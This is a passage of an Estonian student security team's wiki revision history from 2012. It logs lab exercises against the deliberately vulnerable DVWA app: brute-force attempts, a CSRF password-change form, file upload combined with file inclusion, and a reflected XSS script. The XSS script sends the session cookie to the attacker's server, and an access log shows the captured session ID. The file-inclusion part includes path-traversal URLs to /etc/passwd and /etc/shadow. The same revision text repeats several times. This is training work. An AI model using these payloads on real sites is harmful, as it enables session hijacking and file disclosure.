<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas
http://dvwa/hackable/uploads/*.php
käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== 4. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== Tegijad ==
Alo Konno<br>
Urmo Lihten<br>
Taavi Podžuks<br>
Matis Alliksoo<br>
Sander Saarm

Security team

2012-03-28T11:41:13Z

Mallikso: /* Reflected Cross Site Scripting (XSS) */

== 1. päev - Materjalidga tutvumine ==

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==

=== Alo tegevus ===

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
<img src="Xsstesting.jpg"/>
Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas
http://dvwa/hackable/uploads/*.php
käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== 4. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== Tegijad ==
Alo Konno<br>
Urmo Lihten<br>
Taavi Podžuks<br>
Matis Alliksoo<br>
Sander Saarm

Security team

2012-03-28T11:38:02Z

Mallikso: /* Reflected Cross Site Scripting (XSS) */

== 1. päev - Materjalidga tutvumine ==

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==

=== Alo tegevus ===

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
<img src="Xsstesting.jpg"/>
Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas
http://dvwa/hackable/uploads/*.php
käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== 4. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== Tegijad ==
Alo Konno<br>
Urmo Lihten<br>
Taavi Podžuks<br>
Matis Alliksoo<br>
Sander Saarm

Security team

2012-03-28T11:36:14Z

Mallikso: /* Reflected Cross Site Scripting (XSS) */

== 1. päev - Materjalidga tutvumine ==

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==

=== Alo tegevus ===

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
<img src="Xsstesting.jpg"/>
Form väljastab : Hello „sisestatud nimi“
Easy puhul:
Saab sisestada textboxi skripti:
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.
Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID:
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
Saab kohe enda veebiserveri logidest näha Session ID’d.
Näide logist:
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.
</ul>

=== Sanderi tegevus ===

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas
http://dvwa/hackable/uploads/*.php
käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
